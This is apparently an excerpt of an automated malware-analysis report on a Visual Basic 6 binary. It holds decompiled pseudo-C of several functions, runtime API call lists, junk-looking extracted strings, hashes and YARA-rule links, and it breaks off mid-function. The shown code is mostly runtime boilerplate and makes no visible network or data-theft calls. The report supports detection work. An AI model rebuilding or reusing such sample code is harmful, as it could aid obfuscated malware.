					_v124 = _v124 & 0x00000000;
				} else {
					_push(0x22c);
					_push(0x4115a8);
					_push(_v108);
					_push(_v112);
					L00401690();
					_v124 = _t84;
				}
				L0040168A();
				if( *0x419010 != 0) {
					_v128 = 0x419010;
				} else {
					_push(0x419010);
					_push(0x41192c);
					L00401696();
					_v128 = 0x419010;
				}
				_t88 =  &_v36;
				L0040169C();
				_v108 = _t88;
				_t91 =  *((intOrPtr*)( *_v108 + 0x1e8))(_v108, _t88,  *((intOrPtr*)( *((intOrPtr*)( *_v128)) + 0x384))( *_v128));
				asm("fclex");
				_v112 = _t91;
				if(_v112 >= 0) {
					_v132 = _v132 & 0x00000000;
				} else {
					_push(0x1e8);
					_push(0x4113f0);
					_push(_v108);
					_push(_v112);
					L00401690();
					_v132 = _t91;
				}
				L0040168A();
				_push( &_v52);
				L0040167E();
				_push( &_v52);
				_t94 =  &_v32;
				_push(_t94);
				L004015B8();
				_push(_t94);
				_push( &_v68);
				L004015BE();
				_push( &_v84);
				L0040167E();
				_push( &_v68);
				_t98 =  &_v84;
				_push(_t98);
				L00401678();
				_v108 = _t98;
				L0040165A();
				_push( &_v84);
				_push( &_v68);
				_push( &_v52);
				_push(3);
				L00401666();
				if(_v108 != 0) {
					L004015B2();
				}
				if( *0x419010 != 0) {
					_v136 = 0x419010;
				} else {
					_push(0x419010);
					_push(0x41192c);
					L00401696();
					_v136 = 0x419010;
				}
				_t106 =  &_v36;
				L0040169C();
				_v108 = _t106;
				_t110 =  *((intOrPtr*)( *_v108 + 0x180))(_v108,  &_v104, _t106,  *((intOrPtr*)( *((intOrPtr*)( *_v136)) + 0x38c))( *_v136));
				asm("fclex");
				_v112 = _t110;
				if(_v112 >= 0) {
					_v140 = _v140 & 0x00000000;
				} else {
					_push(0x180);
					_push(0x4115b8);
					_push(_v108);
					_push(_v112);
					L00401690();
					_v140 = _t110;
				}
				_t111 = _v104;
				_v24 = _t111;
				L0040168A();
				_push(0x416355);
				L0040165A();
				return _t111;
			}

0x004160cf
0x004160da
0x004160db
0x004160e2
0x004160e5
0x004160ed
0x004160f0
0x004160fd
0x00416109
0x00416123
0x0041610b
0x0041610b
0x00416110
0x00416115
0x0041611a
0x0041611a
0x0041613e
0x00416142
0x00416147
0x00416152
0x00416158
0x0041615a
0x00416161
0x0041617d
0x00416163
0x00416163
0x00416168
0x0041616d
0x00416170
0x00416173
0x00416178
0x00416178
0x00416184
0x00416190
0x004161aa
0x00416192
0x00416192
0x00416197
0x0041619c
0x004161a1
0x004161a1
0x004161c5
0x004161c9
0x004161ce
0x004161d9
0x004161df
0x004161e1
0x004161e8
0x00416204
0x004161ea
0x004161ea
0x004161ef
0x004161f4
0x004161f7
0x004161fa
0x004161ff
0x004161ff
0x0041620b
0x00416213
0x00416214
0x0041621c
0x0041621d
0x00416220
0x00416221
0x00416226
0x0041622a
0x0041622b
0x00416233
0x00416234
0x0041623c
0x0041623d
0x00416240
0x00416241
0x00416246
0x0041624d
0x00416255
0x00416259
0x0041625d
0x0041625e
0x00416260
0x0041626e
0x00416270
0x00416270
0x0041627c
0x00416299
0x0041627e
0x0041627e
0x00416283
0x00416288
0x0041628d
0x0041628d
0x004162bd
0x004162c1
0x004162c6
0x004162d5
0x004162db
0x004162dd
0x004162e4
0x00416303
0x004162e6
0x004162e6
0x004162eb
0x004162f0
0x004162f3
0x004162f6
0x004162fb
0x004162fb
0x0041630a
0x0041630e
0x00416315
0x0041631a
0x0041634f
0x00416354

APIs

__vbaChkstk.MSVBVM60(?,004014B6), ref: 004160E5
__vbaStrCopy.MSVBVM60(?,?,?,?,004014B6), ref: 004160FD
__vbaNew2.MSVBVM60(0041192C,00419010,?,?,?,?,004014B6), ref: 00416115
__vbaObjSet.MSVBVM60(?,00000000), ref: 00416142
__vbaHresultCheckObj.MSVBVM60(00000000,?,004115A8,0000022C), ref: 00416173
__vbaFreeObj.MSVBVM60(00000000,?,004115A8,0000022C), ref: 00416184
__vbaNew2.MSVBVM60(0041192C,00419010), ref: 0041619C
__vbaObjSet.MSVBVM60(?,00000000), ref: 004161C9
__vbaHresultCheckObj.MSVBVM60(00000000,?,004113F0,000001E8), ref: 004161FA
__vbaFreeObj.MSVBVM60(00000000,?,004113F0,000001E8), ref: 0041620B
#610.MSVBVM60(?), ref: 00416214
__vbaStrVarVal.MSVBVM60(?,?,?), ref: 00416221
#540.MSVBVM60(?,00000000,?,?,?), ref: 0041622B
#610.MSVBVM60(?,?,00000000,?,?,?), ref: 00416234
__vbaVarTstNe.MSVBVM60(?,?,?,?,00000000,?,?,?), ref: 00416241
__vbaFreeStr.MSVBVM60(?,?,?,?,00000000,?,?,?), ref: 0041624D
__vbaFreeVarList.MSVBVM60(00000003,?,?,?,?,?,?,?,00000000,?,?,?), ref: 00416260
__vbaEnd.MSVBVM60 ref: 00416270
__vbaNew2.MSVBVM60(0041192C,00419010), ref: 00416288
__vbaObjSet.MSVBVM60(?,00000000), ref: 004162C1
__vbaHresultCheckObj.MSVBVM60(00000000,?,004115B8,00000180), ref: 004162F6
__vbaFreeObj.MSVBVM60(00000000,?,004115B8,00000180), ref: 00416315
__vbaFreeStr.MSVBVM60(00416355), ref: 0041634F

Memory Dump Source

Source File: 00000000.00000002.249835260.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.249805132.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.249858864.0000000000419000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.249863461.000000000041A000.00000002.00020000.sdmp Download File

Similarity

API ID: __vba$Free$CheckHresultNew2$#610$#540ChkstkCopyList
String ID:
API String ID: 3831833640-0
Opcode ID: e3b31a4568c9ca16653429460e280d9763af9a05f85af5827f3625b6a84f38b5
Instruction ID: 8bed04a1a7b95c2befa906c0806ee8a3b39593308fd5ac3aa1b628332fc60f93
Opcode Fuzzy Hash: e3b31a4568c9ca16653429460e280d9763af9a05f85af5827f3625b6a84f38b5
Instruction Fuzzy Hash: 8471C471900208AFCB10EFE1CC55FEEBBB8BB08304F14456AE515AB2A1DB799985DF58

Uniqueness

Uniqueness Score: -1.00%

Function 00415391, Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 177
COMMON

Download Yara Rule

C-Code - Quality: 52%

			E00415391(void* __ebx, void* __ecx, void* __edi, void* __esi, void* _a16) {
				intOrPtr _v8;
				intOrPtr _v12;
				void* _v24;
				short _v28;
				char _v32;
				intOrPtr _v40;
				intOrPtr _v48;
				void* _v52;
				intOrPtr* _v56;
				signed int _v60;
				intOrPtr* _v64;
				signed int _v68;
				intOrPtr* _v76;
				signed int _v80;
				signed int _v84;
				intOrPtr* _v88;
				signed int _v92;
				intOrPtr* _v96;
				signed int _v100;
				signed int _t86;
				signed int _t91;
				char* _t96;
				signed int _t100;
				char* _t104;
				signed int _t108;
				intOrPtr _t131;

				_push(0x4014b6);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t131;
				_push(0x50);
				L004014B0();
				_v12 = _t131;
				_v8 = 0x401298;
				L00401684();
				if( *0x41931c != 0) {
					_v76 = 0x41931c;
				} else {
					_push(0x41931c);
					_push(0x41137c);
					L00401696();
					_v76 = 0x41931c;
				}
				_v56 =  *_v76;
				_t86 =  *((intOrPtr*)( *_v56 + 0x14))(_v56,  &_v32);
				asm("fclex");
				_v60 = _t86;
				if(_v60 >= 0) {
					_v80 = _v80 & 0x00000000;
				} else {
					_push(0x14);
					_push(0x41136c);
					_push(_v56);
					_push(_v60);
					L00401690();
					_v80 = _t86;
				}
				_v64 = _v32;
				_t91 =  *((intOrPtr*)( *_v64 + 0x108))(_v64,  &_v52);
				asm("fclex");
				_v68 = _t91;
				if(_v68 >= 0) {
					_v84 = _v84 & 0x00000000;
				} else {
					_push(0x108);
					_push(0x4114f4);
					_push(_v64);
					_push(_v68);
					L00401690();
					_v84 = _t91;
				}
				_v28 = _v52;
				L0040168A();
				if( *0x419010 != 0) {
					_v88 = 0x419010;
				} else {
					_push(0x419010);
					_push(0x41192c);
					L00401696();
					_v88 = 0x419010;
				}
				_t96 =  &_v32;
				L0040169C();
				_v56 = _t96;
				_v40 = 0x80020004;
				_v48 = 0xa;
				L004014B0();
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_t100 =  *((intOrPtr*)( *_v56 + 0x1ec))(_v56, L"Behovsanalysens", 0x10, _t96,  *((intOrPtr*)( *((intOrPtr*)( *_v88)) + 0x384))( *_v88));
				asm("fclex");
				_v60 = _t100;
				if(_v60 >= 0) {
					_v92 = _v92 & 0x00000000;
				} else {
					_push(0x1ec);
					_push(0x4113f0);
					_push(_v56);
					_push(_v60);
					L00401690();
					_v92 = _t100;
				}
				L0040168A();
				if( *0x419010 != 0) {
					_v96 = 0x419010;
				} else {
					_push(0x419010);
					_push(0x41192c);
					L00401696();
					_v96 = 0x419010;
				}
				_t104 =  &_v32;
				L0040169C();
				_v56 = _t104;
				_v40 = 0x80020004;
				_v48 = 0xa;
				L004014B0();
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_t108 =  *((intOrPtr*)( *_v56 + 0x1ec))(_v56, L"OSCINIDAE", 0x10, _t104,  *((intOrPtr*)( *((intOrPtr*)( *_v96)) + 0x370))( *_v96));
				asm("fclex");
				_v60 = _t108;
				if(_v60 >= 0) {
					_v100 = _v100 & 0x00000000;
				} else {
					_push(0x1ec);
					_push(0x411498);
					_push(_v56);
					_push(_v60);
					L00401690();
					_v100 = _t108;
				}
				L0040168A();
				_push(0x4155ee);
				L0040165A();
				return _t108;
			}

0x00415396
0x004153a1
0x004153a2
0x004153a9
0x004153ac
0x004153b4
0x004153b7
0x004153c4
0x004153d0
0x004153ea
0x004153d2
0x004153d2
0x004153d7
0x004153dc
0x004153e1
0x004153e1
0x004153f6
0x00415405
0x00415408
0x0041540a
0x00415411
0x0041542a
0x00415413
0x00415413
0x00415415
0x0041541a
0x0041541d
0x00415420
0x00415425
0x00415425
0x00415431
0x00415440
0x00415446
0x00415448
0x0041544f
0x0041546b
0x00415451
0x00415451
0x00415456
0x0041545b
0x0041545e
0x00415461
0x00415466
0x00415466
0x00415473
0x0041547a
0x00415486
0x004154a0
0x00415488
0x00415488
0x0041548d
0x00415492
0x00415497
0x00415497
0x004154bb
0x004154bf
0x004154c4
0x004154c7
0x004154ce
0x004154d8
0x004154e2
0x004154e3
0x004154e4
0x004154e5
0x004154f3
0x004154f9
0x004154fb
0x00415502
0x0041551e
0x00415504
0x00415504
0x00415509
0x0041550e
0x00415511
0x00415514
0x00415519
0x00415519
0x00415525
0x00415531
0x0041554b
0x00415533
0x00415533
0x00415538
0x0041553d
0x00415542
0x00415542
0x00415566
0x0041556a
0x0041556f
0x00415572
0x00415579
0x00415583
0x0041558d
0x0041558e
0x0041558f
0x00415590
0x0041559e
0x004155a4
0x004155a6
0x004155ad
0x004155c9
0x004155af
0x004155af
0x004155b4
0x004155b9
0x004155bc
0x004155bf
0x004155c4
0x004155c4
0x004155d0
0x004155d5
0x004155e8
0x004155ed

APIs

__vbaChkstk.MSVBVM60(?,004014B6), ref: 004153AC
__vbaStrCopy.MSVBVM60(?,?,?,?,004014B6), ref: 004153C4
__vbaNew2.MSVBVM60(0041137C,0041931C,?,?,?,?,004014B6), ref: 004153DC
__vbaHresultCheckObj.MSVBVM60(00000000,?,0041136C,00000014), ref: 00415420
__vbaHresultCheckObj.MSVBVM60(00000000,?,004114F4,00000108), ref: 00415461
__vbaFreeObj.MSVBVM60 ref: 0041547A
__vbaNew2.MSVBVM60(0041192C,00419010), ref: 00415492
__vbaObjSet.MSVBVM60(?,00000000), ref: 004154BF
__vbaChkstk.MSVBVM60(?,00000000), ref: 004154D8
__vbaHresultCheckObj.MSVBVM60(00000000,?,004113F0,000001EC), ref: 00415514
__vbaFreeObj.MSVBVM60 ref: 00415525
__vbaNew2.MSVBVM60(0041192C,00419010), ref: 0041553D
__vbaObjSet.MSVBVM60(?,00000000), ref: 0041556A
__vbaChkstk.MSVBVM60(?,00000000), ref: 00415583
__vbaHresultCheckObj.MSVBVM60(00000000,?,00411498,000001EC), ref: 004155BF
__vbaFreeObj.MSVBVM60 ref: 004155D0
__vbaFreeStr.MSVBVM60(004155EE), ref: 004155E8

Strings

Behovsanalysens, xrefs: 004154E6
OSCINIDAE, xrefs: 00415591

Memory Dump Source

Source File: 00000000.00000002.249835260.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.249805132.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.249858864.0000000000419000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.249863461.000000000041A000.00000002.00020000.sdmp Download File

Similarity

API ID: __vba$CheckFreeHresult$ChkstkNew2$Copy
String ID: Behovsanalysens$OSCINIDAE
API String ID: 948179728-4127510829
Opcode ID: 146066771d62514a853cd3e7c60d8a2b1605904cc08912862b3e568063526fcd
Instruction ID: ddf093a428b15ade611a93a25c2ccab98beb295ae91530024ffaed5bf3a97487
Opcode Fuzzy Hash: 146066771d62514a853cd3e7c60d8a2b1605904cc08912862b3e568063526fcd
Instruction Fuzzy Hash: 0C71D274D00608EFCB00EFE4D885BEDBBB6AF08305F20442AF511BB2A1C7B95985DB59

Uniqueness

Uniqueness Score: -1.00%

Function 00415727, Relevance: 33.4, APIs: 18, Strings: 1, Instructions: 159
COMMON

Download Yara Rule

C-Code - Quality: 61%

			E00415727(void* __ebx, void* __edi, void* __esi, intOrPtr* _a4, void* _a8) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				void* _v28;
				void* _v32;
				char _v36;
				char _v40;
				signed int _v44;
				char _v48;
				char _v52;
				char _v68;
				char* _v92;
				char _v100;
				intOrPtr _v108;
				char _v116;
				void* _v120;
				signed int _v124;
				intOrPtr* _v128;
				signed int _v132;
				intOrPtr* _v136;
				signed int _v140;
				signed int _v152;
				intOrPtr* _v156;
				signed int _v160;
				intOrPtr* _v164;
				signed int _v168;
				signed int _v172;
				short _t90;
				char* _t91;
				char* _t95;
				signed int _t99;
				signed int _t105;
				signed int _t110;
				void* _t130;
				void* _t132;
				intOrPtr _t133;

				_t133 = _t132 - 0xc;
				 *[fs:0x0] = _t133;
				L004014B0();
				_v16 = _t133;
				_v12 = 0x4012b8;
				_v8 = 0;
				 *((intOrPtr*)( *_a4 + 4))(_a4, __edi, __esi, __ebx,  *[fs:0x0], 0x4014b6, _t130);
				L00401684();
				L00401684();
				_v92 =  &_v36;
				_v100 = 0x4008;
				_push( &_v100);
				_push( &_v68);
				L004015CA();
				_v108 = 0x411550;
				_v116 = 0x8008;
				_push( &_v68);
				_t90 =  &_v116;
				_push(_t90);
				L00401678();
				_v120 = _t90;
				L00401636();
				_t91 = _v120;
				if(_t91 != 0) {
					if( *0x419010 != 0) {
						_v156 = 0x419010;
					} else {
						_push(0x419010);
						_push(0x41192c);
						L00401696();
						_v156 = 0x419010;
					}
					_t95 =  &_v48;
					L0040169C();
					_v120 = _t95;
					_t99 =  *((intOrPtr*)( *_v120 + 0x48))(_v120,  &_v40, _t95,  *((intOrPtr*)( *((intOrPtr*)( *_v156)) + 0x308))( *_v156));
					asm("fclex");
					_v124 = _t99;
					if(_v124 >= 0) {
						_v160 = _v160 & 0x00000000;
					} else {
						_push(0x48);
						_push(0x4113bc);
						_push(_v120);
						_push(_v124);
						L00401690();
						_v160 = _t99;
					}
					if( *0x41931c != 0) {
						_v164 = 0x41931c;
					} else {
						_push(0x41931c);
						_push(0x41137c);
						L00401696();
						_v164 = 0x41931c;
					}
					_v128 =  *_v164;
					_t105 =  *((intOrPtr*)( *_v128 + 0x4c))(_v128,  &_v52);
					asm("fclex");
					_v132 = _t105;
					if(_v132 >= 0) {
						_v168 = _v168 & 0x00000000;
					} else {
						_push(0x4c);
						_push(0x41136c);
						_push(_v128);
						_push(_v132);
						L00401690();
						_v168 = _t105;
					}
					_v136 = _v52;
					_t110 =  *((intOrPtr*)( *_v136 + 0x24))(_v136, L"mesenterical", _v40,  &_v44);
					asm("fclex");
					_v140 = _t110;
					if(_v140 >= 0) {
						_v172 = _v172 & 0x00000000;
					} else {
						_push(0x24);
						_push(0x411574);
						_push(_v136);
						_push(_v140);
						L00401690();
						_v172 = _t110;
					}
					_v152 = _v44;
					_v44 = _v44 & 0x00000000;
					L00401648();
					L0040165A();
					_push( &_v52);
					_t91 =  &_v48;
					_push(_t91);
					_push(2);
					L00401654();
				}
				_push(0x4159bb);
				L0040165A();
				L0040165A();
				L0040165A();
				return _t91;
			}

0x0041572a
0x00415739
0x00415745
0x0041574d
0x00415750
0x00415757
0x00415766
0x0041576f
0x0041577c
0x00415784
0x00415787
0x00415791
0x00415795
0x00415796
0x0041579b
0x004157a2
0x004157ac
0x004157ad
0x004157b0
0x004157b1
0x004157b6
0x004157bd
0x004157c2
0x004157c8
0x004157d5
0x004157f2
0x004157d7
0x004157d7
0x004157dc
0x004157e1
0x004157e6
0x004157e6
0x00415816
0x0041581a
0x0041581f
0x0041582e
0x00415831
0x00415833
0x0041583a
0x00415856
0x0041583c
0x0041583c
0x0041583e
0x00415843
0x00415846
0x00415849
0x0041584e
0x0041584e
0x00415864
0x00415881
0x00415866
0x00415866
0x0041586b
0x00415870
0x00415875
0x00415875
0x00415893
0x004158a2
0x004158a5
0x004158a7
0x004158ae
0x004158ca
0x004158b0
0x004158b0
0x004158b2
0x004158b7
0x004158ba
0x004158bd
0x004158c2
0x004158c2
0x004158d4
0x004158f4
0x004158f7
0x004158f9
0x00415906
0x00415928
0x00415908
0x00415908
0x0041590a
0x0041590f
0x00415915
0x0041591b
0x00415920
0x00415920
0x00415932
0x00415938
0x00415945
0x0041594d
0x00415955
0x00415956
0x00415959
0x0041595a
0x0041595c
0x00415961
0x00415964
0x004159a5
0x004159ad
0x004159b5
0x004159ba

APIs

__vbaChkstk.MSVBVM60(?,004014B6), ref: 00415745
__vbaStrCopy.MSVBVM60(?,?,?,?,004014B6), ref: 0041576F
__vbaStrCopy.MSVBVM60(?,?,?,?,004014B6), ref: 0041577C
#524.MSVBVM60(?,00004008), ref: 00415796
__vbaVarTstNe.MSVBVM60(00008008,?,?,?,?,00004008), ref: 004157B1
__vbaFreeVar.MSVBVM60(00008008,?,?,?,?,00004008), ref: 004157BD
__vbaNew2.MSVBVM60(0041192C,00419010,00008008,?,?,?,?,00004008), ref: 004157E1
__vbaObjSet.MSVBVM60(?,00000000,?,?,?,?,?,?,?,?,00008008,?,?,?,?,00004008), ref: 0041581A
__vbaHresultCheckObj.MSVBVM60(00000000,?,004113BC,00000048,?,?,?,?,?,?,?,?,00008008,?), ref: 00415849
__vbaNew2.MSVBVM60(0041137C,0041931C,?,?,?,?,?,?,?,?,00008008,?,?,?,?,00004008), ref: 00415870
__vbaHresultCheckObj.MSVBVM60(00000000,?,0041136C,0000004C,?,?,?,?,?,?,?,?,?,?,00008008,?), ref: 004158BD
__vbaHresultCheckObj.MSVBVM60(00000000,?,00411574,00000024,?,?,?,?,?,?,?,?,?,?,00008008,?), ref: 0041591B
__vbaStrMove.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,00008008,?), ref: 00415945
__vbaFreeStr.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,00008008,?), ref: 0041594D
__vbaFreeObjList.MSVBVM60(00000002,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00008008), ref: 0041595C
__vbaFreeStr.MSVBVM60(004159BB,00008008,?,?,?,?,00004008), ref: 004159A5
__vbaFreeStr.MSVBVM60(004159BB,00008008,?,?,?,?,00004008), ref: 004159AD
__vbaFreeStr.MSVBVM60(004159BB,00008008,?,?,?,?,00004008), ref: 004159B5

Strings

mesenterical, xrefs: 004158E1

Memory Dump Source

Source File: 00000000.00000002.249835260.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.249805132.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.249858864.0000000000419000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.249863461.000000000041A000.00000002.00020000.sdmp Download File

Similarity

API ID: __vba$Free$CheckHresult$CopyNew2$#524ChkstkListMove
String ID: mesenterical
API String ID: 3204310403-3574708753
Opcode ID: ea5fd8388197277760526a6ec40e5329130f3afa72c6e30ba8b4877c2dc0055c
Instruction ID: b680b5ee42dcc83df3044c175224da1766f0dfc72c5a08e86853580506633196
Opcode Fuzzy Hash: ea5fd8388197277760526a6ec40e5329130f3afa72c6e30ba8b4877c2dc0055c
Instruction Fuzzy Hash: C771F771900218DFCB10EFA5CC85BDDBBB8BF08304F1045AAE509B72A1DB795A85CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00415E5E, Relevance: 31.7, APIs: 16, Strings: 2, Instructions: 172
COMMON

Download Yara Rule

C-Code - Quality: 54%

			E00415E5E(void* __ebx, void* __edi, void* __esi, intOrPtr* _a4) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				char _v28;
				intOrPtr _v36;
				intOrPtr _v44;
				intOrPtr* _v48;
				signed int _v52;
				intOrPtr* _v64;
				signed int _v68;
				intOrPtr* _v72;
				signed int _v76;
				intOrPtr* _v80;
				signed int _v84;
				char* _t78;
				signed int _t82;
				char* _t86;
				signed int _t90;
				char* _t94;
				signed int _t98;
				void* _t120;
				void* _t122;
				intOrPtr _t123;

				_t123 = _t122 - 0xc;
				 *[fs:0x0] = _t123;
				L004014B0();
				_v16 = _t123;
				_v12 = 0x401300;
				_v8 = 0;
				 *((intOrPtr*)( *_a4 + 4))(_a4, __edi, __esi, __ebx, 0x3c,  *[fs:0x0], 0x4014b6, _t120);
				if( *0x419010 != 0) {
					_v64 = 0x419010;
				} else {
					_push(0x419010);
					_push(0x41192c);
					L00401696();
					_v64 = 0x419010;
				}
				_t78 =  &_v28;
				L0040169C();
				_v48 = _t78;
				_v36 = 0x80020004;
				_v44 = 0xa;
				L004014B0();
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_t82 =  *((intOrPtr*)( *_v48 + 0x1ec))(_v48, L"Erst7", 0x10, _t78,  *((intOrPtr*)( *((intOrPtr*)( *_v64)) + 0x370))( *_v64));
				asm("fclex");
				_v52 = _t82;
				if(_v52 >= 0) {
					_v68 = _v68 & 0x00000000;
				} else {
					_push(0x1ec);
					_push(0x411498);
					_push(_v48);
					_push(_v52);
					L00401690();
					_v68 = _t82;
				}
				L0040168A();
				if( *0x419010 != 0) {
					_v72 = 0x419010;
				} else {
					_push(0x419010);
					_push(0x41192c);
					L00401696();
					_v72 = 0x419010;
				}
				_t86 =  &_v28;
				L0040169C();
				_v48 = _t86;
				_v36 = 1;
				_v44 = 2;
				L004014B0();
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_t90 =  *((intOrPtr*)( *_v48 + 0x1b8))(_v48, 0x10, _t86,  *((intOrPtr*)( *((intOrPtr*)( *_v72)) + 0x36c))( *_v72));
				asm("fclex");
				_v52 = _t90;
				if(_v52 >= 0) {
					_v76 = _v76 & 0x00000000;
				} else {
					_push(0x1b8);
					_push(0x4113cc);
					_push(_v48);
					_push(_v52);
					L00401690();
					_v76 = _t90;
				}
				L0040168A();
				if( *0x419010 != 0) {
					_v80 = 0x419010;
				} else {
					_push(0x419010);
					_push(0x41192c);
					L00401696();
					_v80 = 0x419010;
				}
				_t94 =  &_v28;
				L0040169C();
				_v48 = _t94;
				_v36 = 0x80020004;
				_v44 = 0xa;
				L004014B0();
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_t98 =  *((intOrPtr*)( *_v48 + 0x1ec))(_v48, L"panels", 0x10, _t94,  *((intOrPtr*)( *((intOrPtr*)( *_v80)) + 0x32c))( *_v80));
				asm("fclex");
				_v52 = _t98;
				if(_v52 >= 0) {
					_v84 = _v84 & 0x00000000;
				} else {
					_push(0x1ec);
					_push(0x4113f0);
					_push(_v48);
					_push(_v52);
					L00401690();
					_v84 = _t98;
				}
				L0040168A();
				_push(0x4160ab);
				return _t98;
			}

0x00415e61
0x00415e70
0x00415e7a
0x00415e82
0x00415e85
0x00415e8c
0x00415e9b
0x00415ea5
0x00415ebf
0x00415ea7
0x00415ea7
0x00415eac
0x00415eb1
0x00415eb6
0x00415eb6
0x00415eda
0x00415ede
0x00415ee3
0x00415ee6
0x00415eed
0x00415ef7
0x00415f01
0x00415f02
0x00415f03
0x00415f04
0x00415f12
0x00415f18
0x00415f1a
0x00415f21
0x00415f3d
0x00415f23
0x00415f23
0x00415f28
0x00415f2d
0x00415f30
0x00415f33
0x00415f38
0x00415f38
0x00415f44
0x00415f50
0x00415f6a
0x00415f52
0x00415f52
0x00415f57
0x00415f5c
0x00415f61
0x00415f61
0x00415f85
0x00415f89
0x00415f8e
0x00415f91
0x00415f98
0x00415fa2
0x00415fac
0x00415fad
0x00415fae
0x00415faf
0x00415fb8
0x00415fbe
0x00415fc0
0x00415fc7
0x00415fe3
0x00415fc9
0x00415fc9
0x00415fce
0x00415fd3
0x00415fd6
0x00415fd9
0x00415fde
0x00415fde
0x00415fea
0x00415ff6
0x00416010
0x00415ff8
0x00415ff8
0x00415ffd
0x00416002
0x00416007
0x00416007
0x0041602b
0x0041602f
0x00416034
0x00416037
0x0041603e
0x00416048
0x00416052
0x00416053
0x00416054
0x00416055
0x00416063
0x00416069
0x0041606b
0x00416072
0x0041608e
0x00416074
0x00416074
0x00416079
0x0041607e
0x00416081
0x00416084
0x00416089
0x00416089
0x00416095
0x0041609a
0x00000000

APIs

__vbaChkstk.MSVBVM60(?,004014B6), ref: 00415E7A
__vbaNew2.MSVBVM60(0041192C,00419010,?,?,?,?,004014B6), ref: 00415EB1
__vbaObjSet.MSVBVM60(?,00000000), ref: 00415EDE
__vbaChkstk.MSVBVM60(?,00000000), ref: 00415EF7
__vbaHresultCheckObj.MSVBVM60(00000000,?,00411498,000001EC), ref: 00415F33
__vbaFreeObj.MSVBVM60 ref: 00415F44
__vbaNew2.MSVBVM60(0041192C,00419010), ref: 00415F5C
__vbaObjSet.MSVBVM60(?,00000000), ref: 00415F89
__vbaChkstk.MSVBVM60(?,00000000), ref: 00415FA2
__vbaHresultCheckObj.MSVBVM60(00000000,?,004113CC,000001B8), ref: 00415FD9
__vbaFreeObj.MSVBVM60 ref: 00415FEA
__vbaNew2.MSVBVM60(0041192C,00419010), ref: 00416002
__vbaObjSet.MSVBVM60(?,00000000), ref: 0041602F
__vbaChkstk.MSVBVM60(?,00000000), ref: 00416048
__vbaHresultCheckObj.MSVBVM60(00000000,?,004113F0,000001EC), ref: 00416084
__vbaFreeObj.MSVBVM60 ref: 00416095

Strings

Erst7, xrefs: 00415F05
panels, xrefs: 00416056

Memory Dump Source

Source File: 00000000.00000002.249835260.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.249805132.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.249858864.0000000000419000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.249863461.000000000041A000.00000002.00020000.sdmp Download File

Similarity

API ID: __vba$Chkstk$CheckFreeHresultNew2
String ID: Erst7$panels
API String ID: 3189907775-1262606590
Opcode ID: c4c493aea56b5fd5db754ca832f5aefde78aafbacf474ff66a8b4d7067236f12
Instruction ID: 4c8889f918540b12b2c18ed51b82328dc84423be7a84dd25505bfcd15f13fa6a
Opcode Fuzzy Hash: c4c493aea56b5fd5db754ca832f5aefde78aafbacf474ff66a8b4d7067236f12
Instruction Fuzzy Hash: DA61D570D00608EFCB10DFA4C855BDDBBB9BF09704F14482AF511BB2A1C7BA9885DB58

Uniqueness

Uniqueness Score: -1.00%

Function 00414105, Relevance: 29.9, APIs: 16, Strings: 1, Instructions: 138
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E00414105(void* __ebx, void* __ecx, void* __edi, void* __esi) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v24;
				intOrPtr _v28;
				signed int _v32;
				char _v36;
				intOrPtr _v44;
				char _v52;
				intOrPtr _v60;
				intOrPtr _v68;
				void* _v72;
				signed int _v76;
				signed int _v84;
				intOrPtr* _v88;
				signed int _v92;
				intOrPtr* _v96;
				signed int _v100;
				signed int _t59;
				char* _t67;
				signed int _t71;
				char* _t75;
				signed int _t79;
				intOrPtr _t103;

				_push(0x4014b6);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t103;
				_t59 = 0x50;
				L004014B0();
				_v12 = _t103;
				_v8 = 0x401190;
				L00401642();
				L00401648();
				_push(_t59);
				_push(L"Irrationales");
				L0040164E();
				asm("sbb eax, eax");
				_v72 =  ~( ~_t59 + 1);
				L0040165A();
				if(_v72 != 0) {
					if( *0x419010 != 0) {
						_v88 = 0x419010;
					} else {
						_push(0x419010);
						_push(0x41192c);
						L00401696();
						_v88 = 0x419010;
					}
					_t75 =  &_v36;
					L0040169C();
					_v72 = _t75;
					_t79 =  *((intOrPtr*)( *_v72 + 0x50))(_v72,  &_v32, _t75,  *((intOrPtr*)( *((intOrPtr*)( *_v88)) + 0x374))( *_v88));
					asm("fclex");
					_v76 = _t79;
					if(_v76 >= 0) {
						_v92 = _v92 & 0x00000000;
					} else {
						_push(0x50);
						_push(0x4113ac);
						_push(_v72);
						_push(_v76);
						L00401690();
						_v92 = _t79;
					}
					_v84 = _v32;
					_v32 = _v32 & 0x00000000;
					_v44 = _v84;
					_v52 = 8;
					_push( &_v52);
					L0040163C();
					L0040168A();
					L00401636();
				}
				if( *0x419010 != 0) {
					_v96 = 0x419010;
				} else {
					_push(0x419010);
					_push(0x41192c);
					L00401696();
					_v96 = 0x419010;
				}
